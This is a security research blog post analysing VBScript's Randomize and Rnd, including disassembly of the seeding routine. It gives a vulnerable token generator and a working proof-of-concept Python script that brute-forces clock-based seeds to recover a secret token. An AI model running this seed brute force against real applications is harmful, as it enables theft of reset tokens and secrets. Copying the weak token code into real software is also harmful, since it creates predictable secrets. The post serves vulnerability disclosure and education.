Yet Another Random Story: VBScript's Randomize Internals
25 Sep 2025 - Posted by Adrian DenkiewiczIn one of our recent posts, Dennis shared an interesting case study of C# exploitation that rode on Random
-based password-reset tokens. He demonstrated how to use the single-packet attack, or a bit of old-school math, to beat the game. Recently, I performed a security test on a target which had a dependency written in VBScript. This blog post focuses on VBS’s Rnd
and shows that the situation there is even worse.

Target Application
The application was responsible for generating a secret token. The token was supposed to be unpredictable and expected to remain secret. Here’s a rough copy of the token generation code:
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
function GenerateToken(chars, n)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
The first thing I noticed was that the Randomize
function was called inside a loop. That should reseed the PRNG on every single iteration, right? That could result in repeated values. Well, contrary to many other programming languages, in VBScript, the Randomize
usage within a loop is not a problem per se. The function will not reset the initial state if the same seed is passed again (even if implicitly). This prevents generating identical sequences of characters within a single GenerateToken
call. If you actually want that behavior, call Rnd
with a negative argument immediately before calling Randomize
with a numeric argument.
But if that isn’t an issue, then what is?
How VBS’s Randomize
Works in Practice
Here’s a short API breakdown:
Randomize ' seed the global PRNG using the system clock
Randomize s ' seed the global PRNG using a specified seed value
r = Rnd() ' next float in [0,1)
If no seed is explicitly specified, Randomize
uses Timer
to set it (not entirely true, but we will get there). Timer()
returns seconds since midnight as a Single
value. Rnd()
advances a global PRNG state and is fully deterministic for a given seed. Same seed, same sequence, like in other programming languages.
There are some problematic parts here, though. Windows’ default system clock tick is about 15.625 ms, i.e., 64 ticks per second. In other words, we get a new implicit seed value only once every 15.625 milliseconds.
Because the returned value is of type Single
, we also get precision loss compared to a Double
type. In fact, multiple “seeds” round to the same internal value. Think of collisions happening internally. As a result, there are way fewer unique sequences possible than you might think!
In practice there are at most 65,536 distinct effective seedings (details below). Because Timer()
resets at midnight, the same set recurs each day.
We ran a local copy of the client’s code to generate unique tokens. During almost 10,000 runs, we managed to generate only 400 unique values. The remaining tokens were duplicates. As time passed, the duplicate ratio increased.
Of course the real goal here would be to recover the original secret. We can achieve that if we know the time of day when the GenerateToken
function started. The more precise the value, the less computations required. However, even if we have only a rough idea, like “minutes after midnight”, we can start at 00:00 and slowly increase our seed value by 15.625 milliseconds.
The PoC
We started by double-checking our strategy. We modified the initial code to use a command-line provided seed value. Note, the same seed is used multiple times. While in the original code, it is possible that seed value changes between the loop iterations, in practice that doesn’t happen often. We could expand our PoC to handle such scenarios as well, but we wanted to keep the code as clean as possible for the readability.
Option Explicit
If WScript.Arguments.Count < 1 Then
WScript.Echo "VBS_Error: Requires 1 seed argument."
WScript.Quit(1)
End If
Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)
function GenerateToken(chars, n, seed)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize seed
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
We took a precise Timer()
value from another piece of code and used it as an input seed. Strangely though, it wasn’t working. For some reason we were ending up with a completely different PRNG state. It took a while before we understood that Randomize
and Randomize Timer()
aren’t exactly the same things.
VBScript was introduced by Microsoft in the mid-1990s as a lightweight, interpreted subset of Visual Basic. As of Windows 11 version 24H2, VBScript is a Feature on Demand (FOD). That means it is installed by default for now, but Microsoft plans to disable it in future versions and ultimately remove it. Still, the method of interest is implemented within the vbscript.dll
library and we can take a look at vbscript!VbsRandomize
:
; edi = argc
vbscript!VbsRandomize+0x50:
00007ffc`12d076a0 85ff test edi,edi ; is argc == 0 ?
00007ffc`12d076a2 755b jne vbscript!VbsRandomize+0xaf ; if not zero, goto Randomize <seed> path
; otherwise, seed taken from current time
00007ffc`12d076a4 488d4c2420 lea rcx,[rsp+20h]
00007ffc`12d076a9 48ff15... call GetLocalTime
; build "seconds" = hh*3600 + mm*60 + ss
00007ffc`12d076b5 0fb7442428 movzx eax,word ptr [rsp+28h]
00007ffc`12d076ba 6bc83c imul ecx,eax,3Ch
00007ffc`12d076bd 0fb744242a movzx eax,word ptr [rsp+2Ah]
00007ffc`12d076c2 03c8 add ecx,eax
00007ffc`12d076c4 0fb744242c movzx eax,word ptr [rsp+2Ch]
00007ffc`12d076c9 6bd13c imul edx,ecx,3Ch
00007ffc`12d076cc 03d0 add edx,eax
; convert milliseconds to double, divide by 1000.0
00007ffc`12d076ce 0fb744242e movzx eax,word ptr [rsp+2Eh]
00007ffc`12d076d3 660f6ec0 movd xmm0,eax
00007ffc`12d076d7 f30fe6c0 cvtdq2pd xmm0,xmm0
00007ffc`12d076db 660f6eca movd xmm1,edx
00007ffc`12d076df f20f5e0599... divsd xmm0,[vbscript!_real]
00007ffc`12d076e7 f30fe6c9 cvtdq2pd xmm1,xmm1
00007ffc`12d076eb f20f58c8 addsd xmm1,xmm0
; narrow down
00007ffc`12d076ef 660f5ac1 cvtpd2ps xmm0,xmm1 ; double -> float conversion
00007ffc`12d076f3 f30f11442420 movss [rsp+20h],xmm0 ; spill float
00007ffc`12d076f9 8b4c2420 mov ecx,[rsp+20h] ; load as int bits
; ecx now holds 32-bit seed candidate
...
; code used later (in both cases) to mix into PRNG state
vbscript!VbsRandomize+0xda:
00007ffc`12d0772a 816350ff0000ff and dword [rbx+50h],0FF0000FFh ; keep top/bottom byte
00007ffc`12d07731 8bc1 mov eax,ecx
00007ffc`12d07733 c1e808 shr eax,8
00007ffc`12d07736 c1e108 shl ecx,8
00007ffc`12d07739 33c1 xor eax,ecx
00007ffc`12d0773b 2500ffff00 and eax,00FFFF00h
00007ffc`12d07740 094350 or dword [rbx+50h],eax
When we previously said that a bare Randomize
uses Timer()
as a seed, we weren’t exactly right. In reality, it’s just a call to WinApi’s GetLocalTime
. It computes seconds plus fractional milliseconds as Double
s, then narrows to Single
(float
) using the CVTPD2PS
assembly instruction.
Let’s use 65860.48
as an example. It can be represented as 0x40f014479db22d0e
in hex notation. After all this math is performed, our 0x40f014479db22d0e
becomes 0x4780a23d
and is used as the seed input.
This is what happens otherwise, when the input is explicitly given:
; argc == 1, seed given
vbscript!VbsRandomize+0xaf:
00007ffc`12d076ff 33d2 xor edx,edx
00007ffc`12d07701 488bce mov rcx,rsi
00007ffc`12d07704 e8... call vbscript!VAR::PvarGetVarVal
00007ffc`12d07709 ba05000000 mov edx,5
00007ffc`12d0770e 488bc8 mov rcx,rax ; rcx = VAR* (value)
00007ffc`12d07711 e8... call vbscript!VAR::PvarConvert
00007ffc`12d07716 f20f104008 movsd xmm0,mmword [rax+8] ; load the double payload
00007ffc`12d0771b f20f11442420 movsd [rsp+20h],xmm0 ; spill as 64-bit
00007ffc`12d07721 488b4c2420 mov rcx,qword [rsp+20h] ; rcx = raw IEEE-754 bits
00007ffc`12d07726 48c1e920 shr rcx,20h ; **take high dword** as seed source
When we do specify the seed value, it’s processed in an entirely different way. Instead of being converted using the CVTPD2PS
opcode, it’s shifted right by 32 bits. So this time, our 0x40f014479db22d0e
becomes 0x40f01447
instead. We end up with completely different seed input. This explains why we couldn’t properly reseed the PRNG.
Finally, the middle two bytes of the internal PRNG state are updated with a byte-swapped XOR mix of those bits, while the top and bottom bytes of the state are preserved.
Honestly, I was thinking about reimplementing all of that to Python to get a clearer view on what was going on. But then, Python reminded me that it can handle almost infinite numbers (at least integers). On the other hand, VBScript implementation is actually full of potential number overflows that Python just doesn’t generate. Therefore, I kept the token-generation code as it was and implemented only the seed-conversion in Python.
"""
Convert the time range given on the command line into all VBS-Timer()
values between them (inclusive) in **0.015625-second** steps (1/64 s),
turn each value into the special Double that `Randomize <seed>` expects,
feed the seed to VBS_PATH, parse the predicted token, and test it.
usage
python brute_timer.py <start_clock> <end_clock>
examples
python brute_timer.py "12:58:00 PM" "12:58:05 PM"
python brute_timer.py "17:42:25.50" "17:42:27.00"
Both 12- and 24-hour clock strings are accepted; optional fractional
seconds are allowed.
"""
import subprocess
import struct
import sys
import re
from datetime import datetime
VBS_PATH = r"C:\share\poc.vbs"
TICK = 1 / 64 # 0.015 625 s (VBS Timer resolution)
STEP = TICK
def vbs_timer_value(clock_text: str) -> float:
"""Clock string to exact Single value returned by VBS's Timer()."""
for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
"%H:%M:%S", "%H:%M:%S.%f"):
try:
t = datetime.strptime(clock_text, fmt).time()
break
except ValueError:
continue
else:
raise ValueError("time format not recognised: " + clock_text)
secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
secs = round(secs / TICK) * TICK # snap to nearest 1/64 s
# force Single precision (float32) to match VBS mantissa exactly
secs = struct.unpack('<f', struct.pack('<f', secs))[0]
return secs
def make_manual_seed(timer_value: float) -> float:
"""Build the Double that Randomize <seed> receives"""
single_le = struct.pack('<f', timer_value) # 4 bytes little-endian
dbl_le = b"\x00\x00\x00\x00" + single_le # low dword zero, high dword = f32
return struct.unpack('<d', dbl_le)[0] # Python float (Double)
# ---------------------------------------------------------------------------
# MAIN ROUTINE
# ---------------------------------------------------------------------------
def main():
if len(sys.argv) != 3:
print(__doc__)
sys.exit(1)
start_val = vbs_timer_value(sys.argv[1])
end_val = vbs_timer_value(sys.argv[2])
if end_val < start_val:
print("[ERROR] end time is earlier than start time")
sys.exit(1)
tried_tokens = set()
unique_tested = 0
success = False
print(f"[INFO] Range {start_val:.5f} to {end_val:.5f} in {STEP}-s steps")
value = start_val
while value <= end_val + 1e-7: # small epsilon for fp rounding
seed = make_manual_seed(value)
try:
vbs = subprocess.run([
"cscript.exe", "//nologo", VBS_PATH, str(seed)
], capture_output=True, text=True, check=True)
except subprocess.CalledProcessError as e:
print(f"[ERROR] VBS failed for seed {seed}: {e}")
value += STEP
continue
m = re.search(r"Predicted token:\s*(.+)", vbs.stdout)
if not m:
print(f"[{value:.5f}] No token from VBS")
value += STEP
continue
token = m.group(1).strip()
if token in tried_tokens:
value += STEP
# print(f"Duplicate for [{value:.5f}] / seed: {seed}: {token}")
continue
tried_tokens.add(token)
unique_tested += 1
print(f"[{value:.5f}] Test #{unique_tested}: {token} // calculated seed: {seed}")
# ...logic omitted - but we need some sort of token verification here
value += STEP
if __name__ == "__main__":
main()
The Attack
Now, we can run the base code and capture a semi-precise current time value. Our Python works with properly formatted strings, so we can convert the number using a simple method:
Dim t, hh, mm, ss, ns
t = Timer()
hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000
WScript.Echo _
Right("0" & hh, 2) & ":" & _
Right("0" & mm, 2) & ":" & _
Right("0" & ss, 2) & "." & _
Right("000000" & CStr(Int(ns)), 6)
Let’s say the token was generated precisely at 17:55:54.046875 and we got the QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7
string. In the case of our target, we knew that some files were created at 17:55:54, which was rather close to the token-generation time. In other cases, the information leak could come from some resource creation metadata, entries in the log file, etc.
We iterate time seeds in 0.015625-second steps (64 Hz) across the suspected window and we filter all duplicates.
We started our brute_timer.py
script with a 1s range and we successfully recovered the secret in the 4th iteration:
PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]
VBScript’s Randomize
and Rnd
are fine if you just want to roll some dice on screen, but don’t even think about using them for secrets.